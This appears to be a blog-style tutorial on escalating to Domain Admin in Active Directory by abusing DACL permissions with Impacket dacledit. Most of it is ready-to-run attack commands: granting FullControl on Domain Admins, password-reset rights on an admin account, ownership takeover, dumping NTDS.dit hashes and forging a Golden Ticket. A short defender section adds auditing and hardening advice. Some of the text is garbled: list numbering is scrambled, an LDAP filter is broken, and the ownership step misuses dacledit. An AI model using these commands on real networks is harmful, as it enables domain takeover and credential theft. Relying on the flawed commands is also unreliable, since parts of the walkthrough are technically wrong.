Impacket DACLedit: The Silent AD Privilege Escalation Weapon You Must Know + Video

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Introduction:

Active Directory’s Discretionary Access Control Lists (DACLs) define who can access which objects—but misconfigured DACLs are a goldmine for attackers. Impacket’s `dacledit` tool allows red teamers and penetration testers to directly modify these permissions, abusing WriteDACL, WriteOwner, or FullControl to grant themselves Domain Admin rights or reset any user’s password without knowing the current one.

Learning Objectives:

  • Understand Active Directory ACL/DACL architecture and common privilege escalation vectors.
  • Master Impacket `dacledit` commands to enumerate and modify object permissions.
  • Learn post‑exploitation techniques including ownership takeover and password resets.

You Should Know

  1. Enumerating Existing DACL Misconfigurations with PowerView & LDAPSearch
    Before abusing any permission, you must find where WriteDACL or WriteOwner is granted.

On Windows (PowerView – part of PowerSploit):

 Import PowerView module
Import-Module .\PowerView.ps1

Find all objects where current user has WriteDacl
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReference -eq "$env:USERDOMAIN\$env:USERNAME"}

List all ACLs for a specific user or group
Get-DomainObjectAcl -Identity "TargetUser" -ResolveGUIDs | Select-Object ObjectAceType, ActiveDirectoryRights, SecurityIdentifier

On Linux (using ldapsearch):

 Enumerate domain info (requires valid domain credentials)
ldapsearch -x -H ldap://domaincontroller -D "cn=user,cn=Users,dc=domain,dc=com" -W -b "dc=domain,dc=com" "(objectClass=)"

Step‑by‑step guide:

1. Authenticate to the domain with low‑privilege credentials.

2. Run `Get-DomainObjectAcl` to retrieve all ACEs.

3. Filter for WriteDACL, WriteOwner, or FullControl rights.

  1. Identify high‑value targets (Domain Admins group, privileged users, or computers).

2. Abusing WriteDACL Privilege with Impacket-dacledit

If you have WriteDACL on a group (e.g., Domain Admins), you can grant yourself any permission, including membership.

Command syntax (Linux):

impacket-dacledit -action write -rights FullControl -principal "YourUser" -target-dn "CN=Domain Admins,CN=Users,DC=domain,DC=com" -dc-ip 192.168.1.10 domain/YourUser:Password

Step‑by‑step guide:

1. Install Impacket (`pip3 install impacket`).

  1. Use `dacledit` with `-action write` to modify the target object’s DACL.
  2. Grant `FullControl` or `WriteProperty` on the group object.
  3. Add yourself using `net group “Domain Admins” YourUser /add /domain` (Windows) or impacket-adduser.

  4. Granting FullControl over Users or Groups – Lateral Movement
    Once you control a privileged user’s object via FullControl, you can reset their password or change group membership.
    Reset a user’s password without knowing it (if you have ResetPassword right):

    impacket-dacledit -action write -rights ResetPassword -principal "YourUser" -target-dn "CN=JaneAdmin,CN=Users,DC=domain,DC=com" -dc-ip 192.168.1.10 domain/YourUser:Password

    After modifying the DACL, use `impacket-smbexec` or `pth‑winexe` to authenticate with the new password.
    Windows alternative (if you have already compromised a high‑privileged session):

    Set-DomainUserPassword -Identity JaneAdmin -NewPassword (ConvertTo-SecureString "NewPass123!" -AsPlainText -Force) -Verbose

4. WriteOwner Abuse & Ownership Takeover

WriteOwner allows you to change the owner of an object. As the new owner, you can then grant yourself FullControl.

Step‑by‑step using Impacket:

 Change ownership of the Domain Admins group to your user
impacket-dacledit -action write -rights WriteOwner -principal "YourUser" -target-dn "CN=Domain Admins,CN=Users,DC=domain,DC=com" -dc-ip 192.168.1.10 domain/YourUser:Password
 Now you own the group; grant yourself FullControl
impacket-dacledit -action write -rights FullControl -principal "YourUser" -target-dn "CN=Domain Admins,CN=Users,DC=domain,DC=com" -dc-ip 192.168.1.10 domain/YourUser:Password

Mitigation: Regularly audit privileged groups for ownership changes. Use `Get-ADGroup` with `-Properties Owner` in PowerShell.

  1. Post‑Exploitation with Impacket Tools – Full Domain Compromise
    After escalating to Domain Admins, leverage the Impacket suite for persistence and advanced attacks.

Dump NTDS.dit hashes:

impacket-secretsdump -just-dc domain/[email protected]

Golden Ticket attack:

impacket-ticketer -domain domain.com -domain-sid S-1-5-21-... -aesKey <krbtgt_aes> -user-id 500 Administrator

Step‑by‑step guide for defenders:

  1. Monitor Event ID 5136 (Directory Service Changes) for modifications to critical DACLs.

2. Deploy BloodHound to visualise attack paths.

  1. Enforce minimum ACL permissions and use “Protected Users” group.

  2. Linux Commands for AD Enumeration & DACL Exploitation
    If you are on a Linux attack box, these tools are essential:

Find writable shares & objects:

 Using impacket-findDelegation
impacket-findDelegation domain/User:[email protected]

Using ldapdomaindump
ldapdomaindump -u domain\User -p Password 192.168.1.10

Automated DACL audit with BloodHound.py:

bloodhound-python -u User -p Password -ns 192.168.1.10 -d domain.com -c All

Upload the generated JSON files to BloodHound GUI and query for “WriteDACL edges”.

  1. Windows Native Tools & Hardening Against DACL Abuse
    Defenders can use built‑in Windows commands to audit and block such attacks.

Find all ACEs with “WriteDACL” using dsacls:

dsacls "CN=Domain Admins,CN=Users,DC=domain,DC=com" | findstr /i "WRITE_DAC"

Set a system access control list (SACL) to audit every DACL change:

Set-Acl -Path "AD:\CN=Domain Admins,CN=Users,DC=domain,DC=com" -AclObject $NewSaclWithAudit

Recommended hardening:

  • Remove unnecessary WriteDACL/WriteOwner permissions from non‑administrators.
  • Implement AdminSDHolder protection – regularly reset ACLs on protected groups.
  • Use PowerShell script to generate weekly DACL reports.

What Undercode Say

  • Key Takeaway 1: WriteDACL and WriteOwner are among the most dangerous misconfigurations in Active Directory; they allow an attacker to bypass all password policies and stealthily become Domain Admin.
  • Key Takeaway 2: Impacket `dacledit` provides a reliable, cross‑platform method to exploit these flaws, but defenders can detect abuse by monitoring Event ID 5136 and using BloodHound for continuous ACL assessment. Analysis: The rise of automated red team tools has made DACL attacks common, yet many organisations still ignore proper AD permission hygiene. Regular ACL reviews with tools like `dsacls` or PowerView are no longer optional – they are critical for zero‑trust identity protection.

Prediction

As hybrid and cloud‑joined AD environments expand, DACL misconfigurations will increasingly be exploited in ransomware and supply‑chain attacks. Within 12–18 months, we expect Microsoft to introduce stricter default DACL policies and real‑time anomaly detection for WriteDACL attempts. Offensive security courses will dedicate entire modules to Impacket dacledit, while defenders will shift toward automated remediation playbooks that revert unauthorised ACL changes within minutes. Ignoring AD privilege delegation today will become the equivalent of leaving the root password blank in the cloud era.

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Reported By: Shikhhayadav Impacket – Hackers Feeds
Extra Hub: Undercode MoN
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